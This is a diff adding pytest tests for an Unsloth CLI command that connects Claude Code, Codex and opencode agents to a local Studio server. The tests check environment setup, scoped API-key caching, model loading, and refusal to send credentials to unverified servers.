+def test_merge_codex_config_keeps_user_oss_provider():
+    merged = start._merge_codex_config('oss_provider = "ollama"\n', BASE)
+    assert _parse_toml(merged)["oss_provider"] == "ollama"
+
+
+def test_write_codex_config_profile(tmp_path):
+    start.write_codex_config(BASE, MODEL, tmp_path)
+    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
+    assert profile["oss_provider"] == "unsloth_api"
+    assert profile["model_provider"] == "unsloth_api"
+    assert profile["model"] == MODEL["id"]
+    assert profile["model_context_window"] == 131072
+    config = _parse_toml((tmp_path / "config.toml").read_text())
+    assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN"
+
+
+@pytest.fixture()
+def fake_studio(tmp_path, monkeypatch):
+    calls = []
+    state = {"models": [MODEL]}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url, payload))
+        if url.endswith("/v1/models"):
+            return {"object": "list", "data": state["models"]}
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": True, "model_identifier": state["models"][0]["id"]}
+        if url.endswith("/api/auth/api-keys"):
+            return {"key": "sk-unsloth-feedfacefeedface"}
+        if url.endswith("/api/inference/load"):
+            state["models"] = [{"id": payload["model_path"], "context_length": 4096}]
+            return {}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "find_studio_server", lambda: BASE)
+    # Identity handshake has its own tests; trust the loopback server here.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: True)
+    # _studio_token / api-keys are faked so the mint flow stays offline.
+    monkeypatch.setattr(start, "_studio_token", lambda: "jwt-token")
+    monkeypatch.setattr(start, "_http_json", http_json)
+    monkeypatch.setattr(start, "_key_cache_path", lambda: tmp_path / "agent_api_key.json")
+    # --no-launch session configs land under tmp instead of the real Unsloth dir.
+    monkeypatch.setattr(start, "_agents_config_root", lambda: tmp_path / "agents")
+    # No `claude` on PATH, so _claude_flags never probes the real binary.
+    monkeypatch.setattr(start.shutil, "which", lambda _: None)
+    monkeypatch.delenv("UNSLOTH_API_KEY", raising = False)
+    return calls
+
+
+def test_connect_claude_no_launch(fake_studio):
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_unset(result.output, "ANTHROPIC_API_KEY")
+    _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN")
+    _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE)
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1")
+    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1")
+    # Suppress the full-screen TUI redraw so a bursty local server doesn't flicker.
+    _assert_env_set(result.output, "CLAUDE_CODE_NO_FLICKER", "1")
+    # Attribution header is suppressed for the session via env + --settings, never
+    # by writing the user's ~/.claude/settings.json.
+    _assert_env_set(result.output, "CLAUDE_CODE_ATTRIBUTION_HEADER", "0")
+    # Auto-compact window is sized to the loaded model's real context length so the
+    # session compacts before it overflows the local server's (much smaller) window,
+    # and compaction is forced at 90% of it for headroom.
+    _assert_env_set(result.output, "CLAUDE_CODE_AUTO_COMPACT_WINDOW", str(MODEL["context_length"]))
+    _assert_env_set(result.output, "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE", "90")
+    assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output
+    # Overlay is passed inline (session-only), not a path into the user's ~/.claude.
+    assert "--settings" in result.output
+    assert ".claude/settings.json" not in result.output
+
+
+def test_connect_claude_compact_window_omitted_without_context(fake_studio, monkeypatch):
+    # A model that doesn't report a context length -> leave Claude's default window
+    # rather than guessing one.
+    monkeypatch.setattr(start, "_resolve_model", lambda *a, **k: {"id": "local-model"})
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" not in result.output
+    assert "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE" not in result.output
+
+
+def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+
+    def run(command, env):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]]
+    assert "ANTHROPIC_API_KEY" not in captured["env"]
+    assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"]
+    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
+    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
+    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+    assert captured["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
+    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
+)
+def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
+    monkeypatch.setattr(
+        start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
+    )
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+
+    def run(command, env):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert captured["command"] == [
+        "/mnt/c/Users/samle/AppData/Roaming/npm/claude",
+        "--model",
+        MODEL["id"],
+    ]
+    assert captured["env"]["ANTHROPIC_API_KEY"] == ""
+    assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == ""
+    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
+    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
+    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+    for name in (
+        "ANTHROPIC_AUTH_TOKEN",
+        "ANTHROPIC_BASE_URL",
+        "ANTHROPIC_MODEL",
+        "ANTHROPIC_API_KEY",
+        "CLAUDE_CODE_OAUTH_TOKEN",
+    ):
+        assert name in captured["env"]["WSLENV"].split(":")
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
+    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
+)
+def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch):
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(
+        start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
+    )
+
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+
+    assert result.exit_code == 0, result.output
+    assert "export ANTHROPIC_API_KEY=" in result.output
+    assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output
+    assert "export WSLENV=" in result.output
+    assert "ANTHROPIC_AUTH_TOKEN" in result.output
+    assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output
+
+
+def test_connect_codex_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    assert "codex --oss --profile unsloth_api" in result.output
+    # Config lands in the session-scoped CODEX_HOME, not the user's ~/.codex.
+    home = tmp_path / "agents" / "codex"
+    _assert_env_set(result.output, "CODEX_HOME", str(home))
+    assert (home / "config.toml").exists()
+    assert (home / "unsloth_api.config.toml").exists()
+
+
+def test_connect_codex_launch_uses_ephemeral_home(fake_studio, monkeypatch):
+    # Launch mode writes config to a throwaway temp CODEX_HOME and removes it after
+    # the agent exits; the user's real ~/.codex is never the target.
+    captured = {}
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+
+    def run(command, env):
+        captured["home"] = env["CODEX_HOME"]
+        captured["config_present"] = (Path(env["CODEX_HOME"]) / "config.toml").exists()
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["codex"])
+    assert result.exit_code == 0, result.output
+    home = Path(captured["home"])
+    assert captured["config_present"]  # config existed while codex ran
+    assert "unsloth-codex-" in home.name  # an ephemeral temp dir, not ~/.codex
+    assert not home.exists()  # cleaned up after the agent exits
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "the #6547 CI parser is bash-only; on Windows --no-launch prints PowerShell",
+)
+def test_no_launch_output_is_parseable(fake_studio):
+    # Mirror the #6547 CI parser: status lines, then `export`/`unset`, then exactly
+    # one launch command on the last line (now an inline-env one-liner, so the parser
+    # matches by substring rather than prefix).
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    lines = [ln for ln in result.output.splitlines() if ln.strip()]
+    skip = ("export ", "unset ", "Studio ", "Updated ", "Disabled ", "Warning", "Loading")
+    body = [ln for ln in lines if not ln.startswith(skip)]
+    assert "codex --oss --profile unsloth_api" in body[-1]
+    assert any(ln.startswith("export CODEX_HOME=") for ln in lines)
+
+
+def test_no_launch_last_line_is_self_contained(fake_studio, tmp_path):
+    # People copy just the last line. A bare `codex` there would run against the user's
+    # real ~/.codex (e.g. a pre-existing damaged state DB) with zero isolation, so the
+    # last line must inline every session env var ahead of the command.
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    last = [ln for ln in result.output.splitlines() if ln.strip()][-1]
+    parts = shlex.split(last)
+    assignments = {}
+    command = []
+    for i, part in enumerate(parts):
+        if "=" not in part:
+            command = parts[i:]
+            break
+        name, _, value = part.partition("=")
+        assignments[name] = value
+    assert command and command[0] == "codex"
+    assert assignments["CODEX_HOME"] == str(tmp_path / "agents" / "codex")
+    assert assignments["UNSLOTH_STUDIO_AUTH_TOKEN"].startswith("sk-unsloth-")
+
+
+def test_no_launch_claude_last_line_blanks_conflicting_auth(fake_studio):
+    # The unset vars must be neutralized inline too, or a partial copy would send the
+    # user's own ANTHROPIC_API_KEY to the Studio base.
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    last = [ln for ln in result.output.splitlines() if ln.strip()][-1]
+    assert "ANTHROPIC_API_KEY= " in last
+    assert "CLAUDE_CODE_OAUTH_TOKEN= " in last
+    assert "ANTHROPIC_AUTH_TOKEN=" in last  # the real key still applied after the blanks
+
+
+def test_opencode_inline_config_beats_project_config(fake_studio):
+    # A project's opencode.json outranks OPENCODE_CONFIG, so the model pin (and --yolo
+    # permissions) ride in OPENCODE_CONFIG_CONTENT, which outranks project config.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--yolo"])
+    assert result.exit_code == 0, result.output
+    content_line = next(
+        ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=")
+    )
+    inline = json.loads(
+        shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
+    )
+    assert inline["model"] == f"unsloth/{MODEL['id']}"
+    assert inline["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+    assert "sk-unsloth" not in content_line  # key stays in the private file
+
+
+def test_opencode_inline_config_omits_permission_without_yolo(fake_studio):
+    # A non-yolo session carries no permission inline. OPENCODE_CONFIG_CONTENT outranks the
+    # project opencode.json we cannot read, so forcing any value there would override the
+    # user's project rules; clearing our own config is the fix, and the inline pins the model.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    content_line = next(
+        ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=")
+    )
+    inline = json.loads(
+        shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
+    )
+    assert inline["model"] == f"unsloth/{MODEL['id']}"
+    assert "permission" not in inline
+
+
+def test_https_loopback_never_auto_serves(fake_studio, monkeypatch):
+    # `unsloth run` serves plain HTTP; auto-serving behind an https:// target would poll
+    # the wrong scheme until the startup timeout. Keep the plain "no server" error.
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "https://127.0.0.1:8443")
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"])
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_connect_alias_still_works(fake_studio):
+    # `unsloth connect` remains a compat alias for `unsloth start`.
+    from unsloth_cli import app
+
+    result = CliRunner().invoke(app, ["connect", "claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_key_minted_once_then_cached(fake_studio, tmp_path):
+    CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    # First run mints; second reuses the minted key cached for this server.
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert len(mints) == 1
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
+
+
+def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path):
+    CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    # Reused, not re-minted (a mint would return the feedface stand-in).
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    # An explicit key is remembered as "saved" so it replays without the handshake.
+    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
+
+
+def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch):
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(
+        json.dumps(
+            {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}}
+        )
+    )
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-stale":
+            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    # The working key moves to the front so the next run tries it first.
+    cached = json.loads(cache.read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"]
+
+
+def test_connect_saved_key_server_outage_surfaces_not_reminted(fake_studio, tmp_path, monkeypatch):
+    # A 5xx/timeout while checking a saved key is a server outage, not a rejected key:
+    # surface it instead of discarding the key and minting a new one against a sick server.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-saved"]}}}))
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-saved":
+            raise urllib.error.HTTPError(url, 503, "Service Unavailable", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code != 0, result.output
+    # The outage did not cause a fresh key to be minted.
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert mints == []
+
+
+def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path):
+    # Legacy unscoped caches have no server binding (could leak across servers),
+    # so they're ignored: a fresh key is minted and stored scoped to this server.
+    (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"}))
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
+    assert "key" not in cached  # legacy field collapsed away
+
+
+def test_connect_model_flag_loads_on_server(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"]
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"})
+    ]
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B")
+
+
+def test_connect_model_flag_forwards_load_options(fake_studio):
+    # The model-load knobs mirrored from `unsloth run` reach /api/inference/load.
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "claude",
+            "--no-launch",
+            "--model",
+            "unsloth/Qwen3-4B-GGUF",
+            "--gguf-variant",
+            "UD-Q4_K_XL",
+            "--context-length",
+            "8192",
+            "--no-load-in-4bit",
+            "--tensor-parallel",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {
+                "model_path": "unsloth/Qwen3-4B-GGUF",
+                "gguf_variant": "UD-Q4_K_XL",
+                "max_seq_length": 8192,
+                "load_in_4bit": False,
+                "tensor_parallel": True,
+            },
+        )
+    ]
+
+
+def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch):
+    # Studio registers a loaded model under a canonical id (resolved identifier
+    # / casing) that can differ from the path we passed. The agent must connect
+    # to that model, not silently fall through to the first loaded one.
+    requested = "Unsloth/Qwen3.5-35B-A3B"
+    canonical = "unsloth/Qwen3.5-35B-A3B"
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/load"):
+            return {"model": canonical, "display_name": canonical}
+        if url.endswith("/v1/models"):
+            # Decoy sorts first, so models[0] is the wrong pick on the old code.
+            return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", requested])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical)
+
+
+@pytest.mark.parametrize(
+    "model, expected",
+    [
+        ("unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL", ("unsloth/Qwen3-1.7B-GGUF", "UD-Q4_K_XL")),
+        ("unsloth/gemma-4-E2B-it-GGUF:Q8_0", ("unsloth/gemma-4-E2B-it-GGUF", "Q8_0")),
+        ("unsloth/Qwen3-1.7B-GGUF", ("unsloth/Qwen3-1.7B-GGUF", None)),  # no suffix
+        ("/models/local.gguf", ("/models/local.gguf", None)),  # absolute path
+        ("./rel.gguf", ("./rel.gguf", None)),  # relative path
+        ("C:\\models\\x.gguf", ("C:\\models\\x.gguf", None)),  # Windows drive
+        ("repo:with/slash", ("repo:with/slash", None)),  # slash in variant -> not a variant
+        ("", ("", None)),
+    ],
+)
+def test_split_repo_variant(model, expected):
+    assert start._split_repo_variant(model) == expected
+
+
+def test_connect_model_bare_id_matches_loaded_without_reload(fake_studio):
+    # A bare `--model <loaded repo>` (no load knobs) attaches to the already-loaded model
+    # without touching /api/inference/load, so it can never evict another session.
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", MODEL["id"]])
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == []
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_model_variant_suffix_defers_to_server_dedup(fake_studio):
+    # `--model repo:QUANT` splits into a VALID load payload (bare repo + gguf_variant),
+    # never the `:`-suffixed repo id Studio rejects. The variant knob defers to
+    # /api/inference/load, whose already-loaded dedup answers without reloading when the
+    # active variant+settings match -- so a second session running the same command
+    # attaches without evicting the first, while a genuinely different quant reloads.
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", MODEL["id"] + ":UD-Q4_K_XL"]
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": MODEL["id"], "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_load_knobs_reach_server_even_when_id_loaded(fake_studio):
+    # /v1/models can't reveal the active quant, so an id match alone would silently keep
+    # the wrong variant loaded. Explicit knobs must always consult the load endpoint.
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--model", MODEL["id"], "--gguf-variant", "Q8_0"],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        ("POST", f"{BASE}/api/inference/load", {"model_path": MODEL["id"], "gguf_variant": "Q8_0"})
+    ]
+
+
+def test_connect_model_variant_suffix_loads_split_repo(fake_studio):
+    # When the model is not already loaded, the `:QUANT` suffix becomes the gguf_variant
+    # and the load uses the bare (valid) repo id, mirroring `unsloth run repo --gguf-variant`.
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--model", "unsloth/Qwen3-4B-GGUF:UD-Q4_K_XL"],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+
+
+def test_connect_explicit_gguf_variant_wins_over_suffix(fake_studio):
+    # An explicit --gguf-variant takes precedence; the suffix is still stripped so the
+    # repo id stays valid.
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "claude",
+            "--no-launch",
+            "--model",
+            "unsloth/Qwen3-4B-GGUF:Q8_0",
+            "--gguf-variant",
+            "UD-Q4_K_XL",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+
+
+def test_connect_no_model_loaded_errors(fake_studio, monkeypatch):
+    monkeypatch.setattr(
+        start,
+        "_http_json",
+        lambda method, url, token, payload = None, timeout = 30, error = None: (
+            {"key": "sk-unsloth-feedfacefeedface"}
+            if url.endswith("/api/auth/api-keys")
+            else {"object": "list", "data": []}
+        ),
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "No model is loaded" in result.output
+
+
+def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch):
+    # Studio never surfaces the requested model; fail loudly rather than
+    # silently connecting to whatever else happens to be loaded.
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/load"):
+            return {}
+        if url.endswith("/v1/models"):
+            return {"object": "list", "data": [MODEL]}  # decoy; request never appears
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"]
+    )
+    assert result.exit_code == 1
+    assert "unsloth/Missing-7B" in result.output
+
+
+def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch):
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 1
+    assert "GGUF" in result.output
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+
+
+def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch):
+    # A server known only by URL + health check is unverified: keyless connect
+    # must refuse and make no request at all.
+    monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.evil.example:8888")
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 1
+    assert "Settings → API" in result.output
+    assert "--api-key" in result.output
+    assert fake_studio == []  # no HTTP request of any kind (no mint, no /v1/models)
+
+
+def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch):
+    # User named both server and key, so it's their choice; only auto-send is blocked.
+    monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.example:8888")
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+
+
+def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch):
+    # A key saved for a remote (non-loopback) Studio is replayed on keyless runs;
+    # auto-minting stays blocked for non-loopback.
+    remote = "http://studio.example:8888"
+    monkeypatch.setattr(start, "find_studio_server", lambda: remote)
+    (tmp_path / "agent_api_key.json").write_text(
+        json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
+
+
+def test_connect_studio_server_errors_on_explicit_remote(monkeypatch):
+    # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an
+    # error, not a silent local model load (which they did not ask for).
+    import typer
+
+    import unsloth_cli._inference as inference
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888")
+    monkeypatch.setattr(
+        inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888"
+    )
+    with pytest.raises(typer.Exit):
+        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
+
+
+def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch):
+    # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback
+    # server can't be verified, fall back to a local load rather than erroring.
+    import unsloth_cli._inference as inference
+
+    monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False)
+    monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888")
+    monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False)
+    assert (
+        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
+        is None
+    )
+
+
+def test_connect_unverified_loopback_without_cached_key_refuses_to_mint(
+    fake_studio, tmp_path, monkeypatch
+):
+    # With no saved key, the next step would auto-mint; an unverified loopback
+    # server (port squatter) must be refused, with nothing sent.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "--api-key" in result.output
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
+
+
